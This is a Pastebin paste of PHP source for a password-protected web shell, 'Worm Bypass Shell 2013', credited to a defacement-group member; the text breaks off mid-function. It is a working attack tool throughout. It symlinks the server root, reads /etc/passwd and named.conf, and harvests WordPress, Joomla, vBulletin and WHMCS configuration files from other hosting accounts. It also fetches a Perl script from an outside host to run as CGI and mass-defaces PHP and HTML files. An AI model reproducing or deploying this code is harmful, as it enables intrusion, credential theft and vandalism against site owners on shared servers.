API tools faq
paste
Advertisement
iAnonGuy

Bypass Shell 2013 Priv8 "DeCoded"

iAnonGuy
Nov 26th, 2014
362
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 67.58 KB | None | 0 0
raw download clone embed print report
  1. <?php ?><?php
  2. // Coded by Virusa Worm //
  3. error_reporting(0);
  4. @set_time_limit(0);
  5. @session_start();
  6. $xSoftware = trim(getenv("SERVER_SOFTWARE"));
  7. $xServerName = $_SERVER["HTTP_HOST"];
  8. $xName = "Virusa Worm";
  9. $mlebu = "a6df8bf9aabd07789c1772de31ebbbde";
  10. $jajal = (md5($_POST['pass']));
  11. $rasane = 1;
  12. if ($jajal == $mlebu) {
  13.     $_SESSION['login'] = "$jajal";
  14. }
  15. if ($rasane) {
  16.     if (!isset($_SESSION['login']) or $_SESSION['login'] != $mlebu) {
  17.         die("
  18.        
  19. <html>
  20.  <head>
  21.    <title>Worm Bypass Shell 2013</title><link rel=\"shortcut icon\" href=\"http://www.iconj.com/ico/c/u/cu1bmpgb1k.ico\" type=\"image/x-icon\" />
  22.    <style type=\"text/css\">
  23.     body { background-color:#151515; color: rgb(0, 153, 0); }
  24.     input{ margin:0;    background-color:#151515; border:0px solid #151515; position:relative; bottom:75px; left:300pt;}
  25.     input, select, textarea{ color: #151515; } textarea:focus, input:focus { color: #151515; }
  26.     .fot{ font-family:Tahoma, Arial, sans-serif; color: #009900 ; font-size: 11pt; }
  27. .cont a{ text-decoration: none; color:rgb(0, 153, 0); font-family: Tahoma, Arial, sans-serif  ; font-size: 16px; text-shadow: 0px 0px 3px ; }
  28. .cont a:hover{ color: #FF0000 ; text-shadow:0px 0px 3px #ff0000 ;}
  29. #menu a{ padding: 1px; border: 1px solid green; color: green; text-decoration: none;color: #009900; font-family: Tahoma, Geneva, sans-serif; font-size:12px; }
  30. #menu a:hover{ border: 1px solid red; color: red; }
  31.    </style>
  32.     </head><script> function myFunction() {alert(\"you must login first!\"); }</script>
  33.  <body>
  34. <center><img src=\"http://i952.photobucket.com/albums/ae1/virusaworm/vwn_zps5e0de6b8.jpg\" /></center><br><div id=\"menu\" class=\"cont\" align=\"center\">
  35. <a href=\"\" onclick=\"myFunction()\">&nbsp;Home&nbsp;</a> <a href=\"\" onclick=\"myFunction()\">&nbsp;Symlink&nbsp;</a> <a href=\"\" onclick=\"myFunction()\">&nbsp;Bypass&nbsp;</a> <a href=\"#\">&nbsp;Mass&nbsp;</a> <a href=\"\" onclick=\"myFunction()\">&nbsp;Tools&nbsp;</a> <a href=\"\" onclick=\"myFunction()\">&nbsp;Upload&nbsp;</a> <a href=\"\" onclick=\"myFunction()\">&nbsp;About&nbsp;</a> <a href=\"\" onclick=\"myFunction()\">&nbsp;Logout&nbsp;</a> <a href=\"\" onclick=\"myFunction()\">&nbsp;Kill&nbsp;</a></div> <br><br>
  36. <br><br><br><center><img src=\"http://i952.photobucket.com/albums/ae1/virusaworm/lg1_zpsa89e5212.jpg\" />
  37. <br><br><font color=\"#006600\" size=\"1pt\">Coded by </font><font  color=\"#00aa00\" size=\"1pt\">Virusa Worm</font><br><br><font color=\"#00aa00\" size=\"1pt\">Worm Bypass </font><font face=\"Tahoma\" color=\"#b3b3b3\" size=\"1pt\">Shell 2013</font> <font color=\"#006600\" size=\"1pt\">include Several script which has recoded to make this shell.</font><br><br><font color=\"#006600\" size=\"1pt\">so.. try to figure it out if this shell not work in different server, and use ur brain.<br>learn to figure it out about something it\'s make be better.<br><br><font color=\"#b0b000\" size=\"1pt\">\"</font>tools not make hacker, but try to learn about tools. tried to find out why it\'s tool works. it\'s will be better than nothing.. <font color=\"#b0b000\" size=\"1pt\">\"</font><br><br><br><font color=\"#006600\" size=\"1pt\">Special thankz to : </font><br><font color=\"#009900\" size=\"1pt\">My best Brother Mauritania Attacker<br><br><font color=\"#006600\" size=\"1pt\">thankz to : </font><br>
  38. All Members AnonGhost Team - Tanpa Bicara - Maniak k4Sur </font><font color=\"#006600\" size=\"1pt\">[pasangan galo.. lol..]</font><br><br>Greetz to :</font><br><font color=\"#b0b000\" size=\"1pt\">AnonGhost - Mauritania HaCker Team - X-Blackerz INC - ZHC </font><font color=\"#006600\" size=\"1pt\"></center><br><br><center><form method=\"post\"><input type=\"password\" name=\"pass\"></form></center>
  39.  
  40.  
  41.       <footer id=\"det\" style=\"position:fixed; left:0px; right:0px; bottom:0px; background:rgb(21,21,21); text-align:center; border-top: 1px solid #009900; border-bottom: 1px solid #009900\"><font color=#009900 size=1 face=\"Tahoma\">&copy; Worm Bypass Shell 2013</font></footer>
  42.  </body>
  43. </html>
  44.            ");
  45.     }
  46. }
  47. $pageURL = 'http://' . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"];
  48. $u = explode("/", $pageURL);
  49. $pageURL = str_replace($u[count($u) - 1], "", $pageURL);
  50. $pageFTP = 'ftp://' . $_SERVER["SERVER_NAME"] . '/public_html/' . $_SERVER["REQUEST_URI"];
  51. $u = explode("/", $pageFTP);
  52. $pageFTP = str_replace($u[count($u) - 1], "", $pageFTP);
  53. function checkAlexa($domain) {
  54.     $clean = explode("/", $domain);
  55.     $result = file_get_contents("http://data.alexa.com/data?cli=10&dat=snbamz&url=http://" . $clean[0]);
  56.     $n = explode("<POPULARITY URL=\"" . $clean[0] . "/\" TEXT=\"", $result);
  57.     @$rest = $n[1];
  58.     $it = explode("\"", $rest);
  59.     $alexa_rank = $it[0];
  60.     if (@$alexa_rank != "") {
  61.         return number_format($alexa_rank);
  62.     } else {
  63.         return "No Alexa";
  64.     }
  65. }
  66. ?>
  67.  
  68.  
  69. <html xmlns="http://www.w3.org/1999/xhtml">
  70.  
  71. <head>
  72. <title>Worm Bypass Shell 2013</title><link rel="shortcut icon" href="http://www.iconj.com/ico/c/u/cu1bmpgb1k.ico" type="image/x-icon" />
  73.  
  74. <style type="text/css">
  75.   html,body { margin: 0; padding: 0; outline: 0; }
  76. a{ font-size: 12px; }
  77. body { direction: ltr;  background-color:#151515; color: rgb(0, 153, 0); text-align: center } input,textarea,select{ font-weight: bold; color: #000000; }
  78. input,textarea,select:hover{ box-shadow: 0px 0px 4px #00cc00; }
  79. .hedr { font-family: Tahoma, Arial, sans-serif  ;  font-size: 22px; }
  80. .cont a{ text-decoration: none; color:rgb(0, 153, 0); font-family: Tahoma, Arial, sans-serif  ; font-size: 16px; text-shadow: 0px 0px 3px ; }
  81. .cont a:hover{ color: #FF0000 ;  text-shadow:0px 0px 3px #ff0000 ; }
  82. .cone a{ text-decoration: none; color:rgb(0, 153, 0); font-family: Tahoma, Arial, sans-serif  ; font-size: 12px; text-shadow: 0px 0px 3px ; }
  83. .cone a:hover{ color: #FF0000 ; text-shadow:0px 0px 3px #ff0000 ; }
  84. .tmp tr td{ border: solid 1px #006600; padding: 2px ; font-size: 13px; }
  85. .tmp tr td a { text-decoration: none; }
  86. .foter{ font-size: 9pt; color: #006600 ; text-align: center }
  87. .tmp tr td:hover{ box-shadow: 0px 0px 4px #00cc00; }
  88. .fot{ font-family:Tahoma, Arial, sans-serif; color: #009900 ; font-size: 11pt; }
  89. .for a : hover{ color: #FF0000 ; text-shadow: 0px 0px 1px #FF0000; }
  90. .ir { color: #FF0000; }
  91. #menu a{ padding: 1px; border: 1px solid green; color: green; text-decoration: none;color: #009900; font-family: Tahoma, Geneva, sans-serif; font-size:12px; }
  92. #menu a:hover{ border: 1px solid red; color: red; }
  93.  
  94. </style>
  95.  
  96. </head>
  97.  
  98. <body>
  99.  
  100. <div class='all'>
  101.  
  102.  
  103. <?php
  104. @mkdir('sim', 0777);
  105. $htcs = "Options all
  106. DirectoryIndex Sux.html
  107. AddType text/plain .php
  108. AddHandler server-parsed .php
  109.  AddType text/plain .html
  110. AddHandler txt .html
  111. Require None
  112. Satisfy Any";
  113. $f = @fopen('sim/.htaccess', 'w');
  114. fwrite($f, $htcs);
  115. @symlink("/", "sim/rut");
  116. $pg = basename('index.php');
  117. echo '<center>' . base64_decode("PGltZyBzcmM9Imh0dHA6Ly9pOTUyLnBob3RvYnVja2V0LmNvbS9hbGJ1bXMvYWUxL3ZpcnVzYXdvcm0vdnduX3pwczVlMGRlNmI4LmpwZyIgLz4=") . '</center>';
  118. echo '<div id="menu" class="cont" align="center">
  119.  
  120. <a href="?">&nbsp;Home&nbsp;</a>
  121.  
  122. <a href="?vw=sime">&nbsp;Symlink&nbsp;</a>
  123.  
  124. <a href="?vw=baipas">&nbsp;Bypass&nbsp;</a>
  125.  
  126. <a href="?vw=mase">&nbsp;Mass&nbsp;</a>
  127.  
  128. <a href="?vw=tule">&nbsp;Tools&nbsp;</a>
  129. <a href="?vw=aplot">&nbsp;Upload&nbsp;</a>
  130. <a href="?vw=abot">&nbsp;About&nbsp;</a>
  131. <a href="?vw=metu">&nbsp;Logout&nbsp;</a>
  132. <a href="?vw=mati">&nbsp;Kill&nbsp;</a>
  133. </div>
  134.  
  135. <font color="009900" face="Tahoma, Geneva, sans-serif" style="font-size: 8pt">
  136. ';
  137. echo '<hr color=#"006600" width="75%">';
  138. if (ini_get('safe_mode') == '1') {
  139.     echo '<font color="#006600"> Safe mode:</font><font color="red"> ON&nbsp;</font></font>';
  140. } else {
  141.     echo '<font color="#006600"> Safe mode:</font><font color="00bb00"> OFF&nbsp;</font>';
  142. }
  143. if (ini_get('magic_quotes_gpc') == '1') {
  144.     echo '<font color="#006600"> Magic_quotes_gpc:</font><font color="red"> ON&nbsp;</font>';
  145. } else {
  146.     echo '<font color="#006600"> Magic_quotes_gpc:</font><font color="00bb00"> OFF&nbsp;</font>';
  147. }
  148. if (function_exists('mysql_connect')) {
  149.     echo '<font color="#006600"> Mysql:</font><font color="00bb00"> ON&nbsp;</font>';
  150. } else {
  151.     echo '<font color="#006600"> Mysql:</font><font color="red"> OFF&nbsp;</font>';
  152. }
  153. if (function_exists('mssql_connect')) {
  154.     echo '<font color="#006600"> Mssql:</font><font color="00bb00"> ON&nbsp;</font>';
  155. } else {
  156.     echo '<font color="#006600"> Mssql:</font><font color="yellow"> OFF&nbsp;</font>';
  157. }
  158. if (function_exists('pg_connect')) {
  159.     echo '<font color="#006600"> PostgreSQL:</font><font color="00bb00"> ON&nbsp;</font>';
  160. } else {
  161.     echo '<font color="#006600"> PostgreSQL:</font><font color="yellow"> OFF&nbsp;</font>';
  162. }
  163. if (function_exists('ocilogon')) {
  164.     echo '<font color="#006600"> Oracle:</font><font color="00bb00"> ON&nbsp;</font>';
  165. } else {
  166.     echo '<font color="#006600"> Oracle:</font><font color="yellow"> OFF&nbsp;</font>';
  167. }
  168. if (function_exists('curl_version')) {
  169.     echo '<font color="#006600"> Curl:</font><font color="00bb00"> ON&nbsp;</font>';
  170. } else {
  171.     echo '<font color="#006600"> Curl:</font><font color="red"> OFF&nbsp;</font>';
  172. }
  173. if (function_exists('exec')) {
  174.     echo '<font color="#006600"> Exec:</font><font color="00bb00"> ON&nbsp;</font>';
  175. } else {
  176.     echo '<font color="#006600"> Exec:</font><font color="red"> OFF&nbsp;</font>';
  177. }
  178. if (!ini_get('open_basedir') != "on") {
  179.     echo '<font color="#006600"> Open_basedir:</font><font color="red"> OFF&nbsp;</font>';
  180. } else {
  181.     echo '<font color="#006600"> Open_basedir:</font><font color="00bb00"> ON&nbsp;</font>';
  182. }
  183. if (!ini_get('ini_restore') != "on") {
  184.     echo '<font color="#006600"> Ini_restore:</font><font color="red"> OFF&nbsp;</font>';
  185. } else {
  186.     echo '<font color="#006600"> Ini_restore:</font><font color="00bb00"> ON&nbsp;</font>';
  187. }
  188. if (function_exists('symlink')) {
  189.     echo '<font color="#006600"> Symlink:</font><font color="00bb00"> ON&nbsp;</font>';
  190. } else {
  191.     echo '<font color="#006600"> Symlink:</font><font color="red"> OFF&nbsp;</font>';
  192. }
  193. if (function_exists('file_get_contents')) {
  194.     echo '<font color="#006600"> file_get_contents:</font><font color="00bb00"> ON&nbsp;</font>';
  195. } else {
  196.     echo '<font color="#006600"> file_get_contents:</font><font color="red"> OFF&nbsp;</font>';
  197. }
  198. if (is_dir('sim/rut')) {
  199.     echo '<font color="#006600"> Permission denied:</font><font color="00bb00"> ON&nbsp;</font>';
  200. } else {
  201.     echo '<font color="#006600"> Permission denied:</font><font color="red"> OFF&nbsp;</font>';
  202. }
  203. echo '<hr color=#"006600" width="75%">';
  204. if (isset($_REQUEST['vw'])) {
  205.     switch ($_REQUEST['vw']) {
  206.         case 'sec':
  207.             echo '<br><b class="cont" align="center"><font face="Tahoma" color="#009900" size="3pt">Domains Script</font></b><br><br>';
  208.             if (!@is_file('named.txt')) {
  209.                 $d00m = @file("/etc/named.conf");
  210.             } else {
  211.                 $d00m = @file("named.txt");
  212.             }
  213.             if (!$d00m) {
  214.                 die("<meta http-equiv='refresh' content='0; url=?vw=read'/>");
  215.             } else {
  216.                 echo "<div class='tmp'>
  217. <table align='center' width='40%'><td> <font color='#b3b3b3'><b>Domains </b></font></td><td> <font color='#b3b3b3'><b>Script</b></font> </td>";
  218.                 foreach ($d00m as $dom) {
  219.                     flush();
  220.                     flush();
  221.                     if (eregi("zone", $dom)) {
  222.                         @preg_match_all('#zone "(.*)"#', $dom, $domvw);
  223.                         flush();
  224.                         if (@strlen(trim($domvw[1][0])) > 2) {
  225.                             $user = @posix_getpwuid(@fileowner("/etc/valiases/" . $domvw[1][0]));
  226.                             $wpl = $pageURL . "/sim/rut/home/" . $user['name'] . "/public_html/wp-config.php";
  227.                             $wpp = @get_headers($wpl);
  228.                             $wp = $wpp[0];
  229.                             $wp2 = $pageURL . "/sim/rut/home/" . $user['name'] . "/public_html/blog/wp-config.php";
  230.                             $wpp2 = @get_headers($wp2);
  231.                             $wp12 = $wpp2[0];
  232.                             $jo1 = $pageURL . "/sim/rut/home/" . $user['name'] . "/public_html/configuration.php";
  233.                             $joo = @get_headers($jo1);
  234.                             $jo = $joo[0];
  235.                             $jo2 = $pageURL . "/sim/rut/home/" . $user['name'] . "/public_html/joomla/configuration.php";
  236.                             $joo2 = @get_headers($jo2);
  237.                             $jo12 = $joo2[0];
  238.                             $vb1 = $pageURL . "/sim/rut/home/" . $user['name'] . "/public_html/includes/config.php";
  239.                             $vbb = @get_headers($vb1);
  240.                             $vb = $vbb[0];
  241.                             $vb2 = $pageURL . "/sim/rut/home/" . $user['name'] . "/public_html/vb/includes/config.php";
  242.                             $vbb2 = @get_headers($vb2);
  243.                             $vb12 = $vbb2[0];
  244.                             $vb3 = $pageURL . "/sim/rut/home/" . $user['name'] . "/public_html/forum/includes/config.php";
  245.                             $vbb3 = @get_headers($vb3);
  246.                             $vb13 = $vbb3[0];
  247.                             $wh1 = $pageURL . "/sim/rut/home/" . $user['name'] . "public_html/clients/configuration.php";
  248.                             $whh2 = @get_headers($wh1);
  249.                             $wh = $whh2[0];
  250.                             $wh2 = $pageURL . "/sim/rut/home/" . $user['name'] . "/public_html/support/configuration.php";
  251.                             $whh2 = @get_headers($wh2);
  252.                             $wh12 = $whh2[0];
  253.                             $wh3 = $pageURL . "/sim/rut/home/" . $user['name'] . "/public_html/client/configuration.php";
  254.                             $whh3 = @get_headers($wh3);
  255.                             $wh13 = $whh3[0];
  256.                             $wh5 = $pageURL . "/sim/rut/home/" . $user['name'] . "/public_html/submitticket.php";
  257.                             $whh5 = @get_headers($wh5);
  258.                             $wh15 = $whh5[0];
  259.                             $wh4 = $pageURL . "/sim/rut/home/" . $user['name'] . "/public_html/client/configuration.php";
  260.                             $whh4 = @get_headers($wh4);
  261.                             $wh14 = $whh4[0];
  262.                             $pos = strpos($wp, "200");
  263.                             $config = "&nbsp;";
  264.                             if (strpos($wp, "200") == true) {
  265.                                 $config = "<div class='cone'><a href='" . $wpl . "' target='_blank'>Wordpress</a></div>";
  266.                             } elseif (strpos($wp12, "200") == true) {
  267.                                 $config = "<div class='cone'><a href='" . $wp2 . "' target='_blank'>Wordpress</a></div>";
  268.                             } elseif (strpos($jo, "200") == true and strpos($wh15, "200") == true) {
  269.                                 $config = " <div class='cone'><a href='" . $wh5 . "' target='_blank'>WHMCS</a></div>";
  270.                             } elseif (strpos($wh12, "200") == true) {
  271.                                 $config = "<div class='cone'> <a href='" . $wh2 . "' target='_blank'>WHMCS</a></div>";
  272.                             } elseif (strpos($wh13, "200") == true) {
  273.                                 $config = "<div class='cone'> <a href='" . $wh3 . "' target='_blank'>WHMCS</a></div>";
  274.                             } elseif (strpos($jo, "200") == true) {
  275.                                 $config = " <div class='cone'><a href='" . $jo1 . "' target='_blank'>Joomla</a></div>";
  276.                             } elseif (strpos($jo12, "200") == true) {
  277.                                 $config = " <div class='cone'><a href='" . $jo2 . "' target='_blank'>Joomla</a></div>";
  278.                             } elseif (strpos($vb, "200") == true) {
  279.                                 $config = " <div class='cone'><a href='" . $vb1 . "' target='_blank'>vBulletin</a></div>";
  280.                             } elseif (strpos($vb12, "200") == true) {
  281.                                 $config = " <div class='cone'><a href='" . $vb2 . "' target='_blank'>vBulletin</a></div>";
  282.                             } elseif (strpos($vb13, "200") == true) {
  283.                                 $config = " <div class='cone'><a href='" . $vb3 . "' target='_blank'>vBulletin</a></div>";
  284.                             } else {
  285.                                 continue;
  286.                             }
  287.                             flush();
  288.                             flush();
  289.                             $site = $user['name'];
  290.                             flush();
  291.                             echo "<tr><td><div class='cone'><a href=http://www." . $domvw[1][0] . "/>" . $domvw[1][0] . "</a></div></td>
  292. <td><div class='cone'>" . $config . "</div></td></tr>";
  293.                             flush();
  294.                         }
  295.                     }
  296.                 }
  297.             }
  298.             echo "</table></div><br><br>";
  299.         break;
  300.         case 'sime':
  301.             echo '<br><br><br><br><b class="cont" align="center">
  302. <a href="?vw=sym">Symlink Server</a><br><br>
  303.  
  304. <a href="?vw=sec">Domains Script</a><br><br>
  305.  
  306. <a href="?vw=file">Symlink Manual</a></b><br>';
  307.         break;
  308.         case 'baipas':
  309.             echo '<br><br><br><br><b class="cont" align="center">
  310. <a href="?vw=passwd">Bypass /etc/passwd</a><br><br>
  311.  
  312. <a href="?vw=cgipl">Bypassed Perl Security</a><br><br>
  313.  
  314. <a href="?vw=bforb">Bypass Forbidden</a><br><br>
  315.  
  316. <a href="?vw=posget">Bypass posix_getpwuid</a><br><br>
  317.  
  318. </b>';
  319.         break;
  320.         case 'mase':
  321.             echo '<br><br><br><br><b class="cont" align="center">
  322. <a href="?vw=joomla">Mass Joomla</a><br><br>
  323. <a href="?vw=masde">Mass Deface</a><br><br>
  324. <a href="?vw=vb">Mass vBulletin</a><br><br>
  325. <a href="?vw=wp">Mass WordPress</a>
  326.  
  327. </b>';
  328.         break;
  329.         case 'tule':
  330.             echo '<br><br><br><br><b class="cont" align="center">
  331.  
  332. <a href="?vw=vgrab">Config Grabber</a><br><br>
  333.  
  334. <a href="?vw=cari">Find Directory Writable/Readable</a><br><br>
  335.  
  336. </b>';
  337.         break;
  338.         case 'cari':
  339.             echo '<center /><br><b class="cont" align="center"><font face="Tahoma" color="#009900" size="3pt">Find Directory Writable/Readable</b></p><br>' . $end;
  340.             function read_dir($path) {
  341.                 global $count;
  342.                 if ($handle = opendir($path)) {
  343.                     while (false !== ($file = readdir($handle))) {
  344.                         $dr = "$path$file/";
  345.                         if (($file != '.') and ($file != '..') and is_dir($dr)) {
  346.                             if (is_readable($dr) and is_writeable($dr)) {
  347.                                 echo "[RW] " . $dr . "<br>
  348.  
  349. ";
  350.                                 $count++;
  351.                             }
  352.                             read_dir($dr);
  353.                         }
  354.                     }
  355.                 }
  356.             }
  357.             $count = 0;
  358.             set_time_limit(0);
  359.             @$passwd = fopen('/etc/passwd', 'r');
  360.             if (!$passwd) {
  361.                 echo "<center><font color='#ff0000' size='2pt' />[-] No Access to /etc/passwd
  362.  
  363. </center>";
  364.                 exit;
  365.             }
  366.             $path_to_public = array();
  367.             echo "<html><center><font color='#009900' size='2pt' />
  368.  
  369. ";
  370.             while (!feof($passwd)) {
  371.                 $str = fgets($passwd);
  372.                 $pos = strpos($str, ":");
  373.                 $username = substr($str, 0, $pos);
  374.                 $dirz = "/home/$username/public_html/";
  375.                 if (($username != "")) {
  376.                     if (is_readable($dirz)) {
  377.                         array_push($path_to_public, $dirz);
  378.                         if (is_writeable($dirz)) {
  379.                             $count++;
  380.                             echo "<font color=white>[</font><font color=yellow>R</font><font color=green>W</font><font color=white>]</font> " . $dirz . "<br><br><br>
  381.  
  382. ";
  383.                         } else echo "<font color=white>[</font><font color=yellow>R</font><font color=white>]</font> " . $dirz . "<br>
  384.  
  385. ";
  386.                     }
  387.                 }
  388.             }
  389.             echo "<font color=red size=2pt>[+]</font> <font color=#009900 size=2pt>Found </font><font color=yellow size=2pt>" . sizeof($path_to_public) . "</font> <font color=#009900 size=2pt>readable public_html directories.</font><br><br>
  390.  
  391.  
  392. ";
  393.             if (sizeof($path_to_public) != '0') {
  394.                 foreach ($path_to_public as $path) {
  395.                 }
  396.                 echo "<font color=red size=2pt>[+]</font> <font color=#009900 size=2pt>Found</font><font color=yellow size=2pt> " . $count . " </font><font color=#009900 size=2pt>writable directories.</font>
  397.  
  398. ";
  399.                 echo "</center></html>";
  400.             }
  401.             break;
  402.         case 'cgipl':
  403.             echo '<br><b class="cont" align="center"><font face="Tahoma" color="#009900" size="3pt">Bypassed Perl Security</b>';
  404.             echo '<center><form method=post><br><br>
  405.            <input type=submit name=su value="Bypass" /></form></center>';
  406.             error_reporting(0);
  407.             if (isset($_POST['su'])) {
  408.                 mkdir('wper', 0755);
  409.                 $rr = " Options +ExecCGI
  410. AddType application/x-httpd-cgi .sh
  411. AddHandler mod_python .sh
  412. AddHandler mod_perl .sh
  413. AddHandler cgi-script .sh
  414. AddType application/x-httpd-cgi .pl
  415. AddHandler cgi-script .pl
  416. AddHandler cgi-script .pl ";
  417.                 $g = fopen('wper/.htaccess', 'w');
  418.                 fwrite($g, $rr);
  419.                 $wper = symlink("/", "wper/vw.pl");
  420.                 mkdir('wper', 0755);
  421.                 $file = file_get_contents('http://www.ppteo.es/wp-content/languages/es_ES.txt');
  422.                 $g = fopen('wper/vw.pl', 'w');
  423.                 fwrite($g, $file);
  424.                 fclose($g);
  425.                 chmod("vw.pl", 0755);
  426.                 $wper = symlink("/", "wper/vw.pl");
  427.                 fwrite($f, $r);
  428.                 $consym = "<b class='cont' align='center'><a href=wper/vw.pl target='_blank'><font color=#ff0000 size=2 face=\"Courier New\">Click here to open</font></a></b><br>";
  429.                 echo "<center><br><br>Perl Bypassed Successfully<br><br><font color=#58FAF4 size=2 face=\"Courier New\">$consym</font></center>";
  430.             }
  431.             break;
  432.         case 'vgrab':
  433.             echo "<br><b class='cont' align='center'><font face='Tahoma' color='#009900' size='3pt'>Configs Grabber</b>"; ?><center><?php if (empty($_POST['config'])) { ?><p><font face="Tahoma" color="#009900" size="2pt">/etc/passwd content</p><form method="POST"><textarea name="passwd" class='output' rows='15' cols='60'><?php echo file_get_contents('/etc/passwd'); ?></textarea><br><br><input name="config" class='inputzbut' size="100" value="Fvck'em!" type="submit"><br></form></center><br><?php
  434.             }
  435.             if ($_POST['config']) {
  436.                 $function = $functions = @ini_get("disable_functions");
  437.                 if (eregi("symlink", $functions)) {
  438.                     die('<error>Symlink is disabled :( </error>');
  439.                 }
  440.                 @mkdir('vwconfig', 0755);
  441.                 @chdir('vwconfig');
  442.                 $htaccess = "
  443. Options all
  444. Options +Indexes
  445. Options +FollowSymLinks
  446. DirectoryIndex Sux.html
  447. AddType text/plain .php
  448. AddHandler server-parsed .php
  449. AddType text/plain .html
  450. AddHandler txt .html
  451. Require None
  452. Satisfy Any
  453. ";
  454.                 file_put_contents(".htaccess", $htaccess, FILE_APPEND);
  455.                 $passwd = $_POST["passwd"];
  456.                 $passwd = explode("
  457. ", $passwd);
  458.                 echo "<br><br><center><font color=#009900 size=2pt>wait ...</center><br>";
  459.                 foreach ($passwd as $pwd) {
  460.                     $pawd = explode(":", $pwd);
  461.                     $user = $pawd[0];
  462.                     @symlink('/home/' . $user . '/public_html/wp-config.php', $user . '-wp13.txt');
  463.                     @symlink('/home/' . $user . '/public_html/wp/wp-config.php', $user . '-wp13-wp.txt');
  464.                     @symlink('/home/' . $user . '/public_html/WP/wp-config.php', $user . '-wp13-WP.txt');
  465.                     @symlink('/home/' . $user . '/public_html/wp/beta/wp-config.php', $user . '-wp13-wp-beta.txt');
  466.                     @symlink('/home/' . $user . '/public_html/beta/wp-config.php', $user . '-wp13-beta.txt');
  467.                     @symlink('/home/' . $user . '/public_html/press/wp-config.php', $user . '-wp13-press.txt');
  468.                     @symlink('/home/' . $user . '/public_html/wordpress/wp-config.php', $user . '-wp13-wordpress.txt');
  469.                     @symlink('/home/' . $user . '/public_html/Wordpress/wp-config.php', $user . '-wp13-Wordpress.txt');
  470.                     @symlink('/home/' . $user . '/public_html/blog/wp-config.php', $user . '-wp13-Wordpress.txt');
  471.                     @symlink('/home/' . $user . '/public_html/wordpress/beta/wp-config.php', $user . '-wp13-wordpress-beta.txt');
  472.                     @symlink('/home/' . $user . '/public_html/news/wp-config.php', $user . '-wp13-news.txt');
  473.                     @symlink('/home/' . $user . '/public_html/new/wp-config.php', $user . '-wp13-new.txt');
  474.                     @symlink('/home/' . $user . '/public_html/blog/wp-config.php', $user . '-wp-blog.txt');
  475.                     @symlink('/home/' . $user . '/public_html/beta/wp-config.php', $user . '-wp-beta.txt');
  476.                     @symlink('/home/' . $user . '/public_html/blogs/wp-config.php', $user . '-wp-blogs.txt');
  477.                     @symlink('/home/' . $user . '/public_html/home/wp-config.php', $user . '-wp-home.txt');
  478.                     @symlink('/home/' . $user . '/public_html/protal/wp-config.php', $user . '-wp-protal.txt');
  479.                     @symlink('/home/' . $user . '/public_html/site/wp-config.php', $user . '-wp-site.txt');
  480.                     @symlink('/home/' . $user . '/public_html/main/wp-config.php', $user . '-wp-main.txt');
  481.                     @symlink('/home/' . $user . '/public_html/test/wp-config.php', $user . '-wp-test.txt');
  482.                     @symlink('/home/' . $user . '/public_html/joomla/configuration.php', $user . '-joomla2.txt');
  483.                     @symlink('/home/' . $user . '/public_html/protal/configuration.php', $user . '-joomla-protal.txt');
  484.                     @symlink('/home/' . $user . '/public_html/joo/configuration.php', $user . '-joo.txt');
  485.                     @symlink('/home/' . $user . '/public_html/cms/configuration.php', $user . '-joomla-cms.txt');
  486.                     @symlink('/home/' . $user . '/public_html/site/configuration.php', $user . '-joomla-site.txt');
  487.                     @symlink('/home/' . $user . '/public_html/main/configuration.php', $user . '-joomla-main.txt');
  488.                     @symlink('/home/' . $user . '/public_html/news/configuration.php', $user . '-joomla-news.txt');
  489.                     @symlink('/home/' . $user . '/public_html/new/configuration.php', $user . '-joomla-new.txt');
  490.                     @symlink('/home/' . $user . '/public_html/home/configuration.php', $user . '-joomla-home.txt');
  491.                     @symlink('/home/' . $user . '/public_html/vb/includes/config.php', $user . '-vb-config.txt');
  492.                     @symlink('/home/' . $user . '/public_html/whm/configuration.php', $user . '-whm15.txt');
  493.                     @symlink('/home/' . $user . '/public_html/central/configuration.php', $user . '-whm-central.txt');
  494.                     @symlink('/home/' . $user . '/public_html/whm/whmcs/configuration.php', $user . '-whm-whmcs.txt');
  495.                     @symlink('/home/' . $user . '/public_html/whm/WHMCS/configuration.php', $user . '-whm-WHMCS.txt');
  496.                     @symlink('/home/' . $user . '/public_html/whmc/WHM/configuration.php', $user . '-whmc-WHM.txt');
  497.                     @symlink('/home/' . $user . '/public_html/whmcs/configuration.php', $user . '-whmcs.txt');
  498.                     @symlink('/home/' . $user . '/public_html/support/configuration.php', $user . '-support.txt');
  499.                     @symlink('/home/' . $user . '/public_html/configuration.php', $user . '-joomla.txt');
  500.                     @symlink('/home/' . $user . '/public_html/submitticket.php', $user . '-whmcs2.txt');
  501.                     @symlink('/home/' . $user . '/public_html/whm/configuration.php', $user . '-whm.txt');
  502.                 }
  503.                 echo '<div class="cone"><font face="Tahoma" color="#009900" size="2pt">Done -> <a href="vwconfig">Open configs</a></font></div>';
  504.             }
  505.             break;
  506.         case 'masde':
  507.             echo '<br><b class="cont" align="center"><font face="Tahoma" color="#009900" size="3pt">Mass Deface</font></b><br><br>';
  508.             if (!isset($_GET['code'])) {
  509.                 echo '<font face="Tahoma" color="#009900" size="2pt"><form action="" method="get">
  510. <input type="hidden" name="action" value="mass">
  511. <textarea cols="75" rows="15" name="code" id="source">Defaced by Virusa Worm.. lol..</textarea><br><br>
  512. <center><font color="#006600">Folder: </font> <input size="60" type="text" value="' . getcwd() . '" name="dir" style="border-top:none;"> <input type="submit" value="Deface it !" style="border-top:none;"></center>
  513. </form>';
  514.             } else {
  515.                 if (is_dir($_GET['dir'])) {
  516.                     $lolinject = $_GET['code'];
  517.                     foreach (glob($_GET['dir'] . "/*.php") as $injectj00) {
  518.                         $fp = fopen($injectj00, "a+");
  519.                         if (fputs($fp, $lolinject)) {
  520.                             echo $injectj00 . ' was injected<br>';
  521.                         } else {
  522.                             echo '<font color=red>failed to inject ' . $injectj00 . '</font>';
  523.                         }
  524.                     }
  525.                     foreach (glob($_GET['dir'] . "/*.html") as $injectj00) {
  526.                         $fp = fopen($injectj00, "a+");
  527.                         if (fputs($fp, $lolinject)) {
  528.                             echo $injectj00 . ' was injected<br>';
  529.                         } else {
  530.                             echo '<font color=red>failed to inject ' . $injectj00 . '</font>';
  531.                         }
  532.                     }
  533.                     foreach (glob($_GET['dir'] . "/*.htm") as $injectj00) {
  534.                         $fp = fopen($injectj00, "a+");
  535.                         if (fputs($fp, $lolinject)) {
  536.                             echo $injectj00 . ' was injected<br>';
  537.                         } else {
  538.                             echo '<font color=red>failed to inject ' . $injectj00 . '</font>';
  539.                         }
  540.                     }
  541.                     foreach (glob($_GET['dir'] . "/*.asp") as $injectj00) {
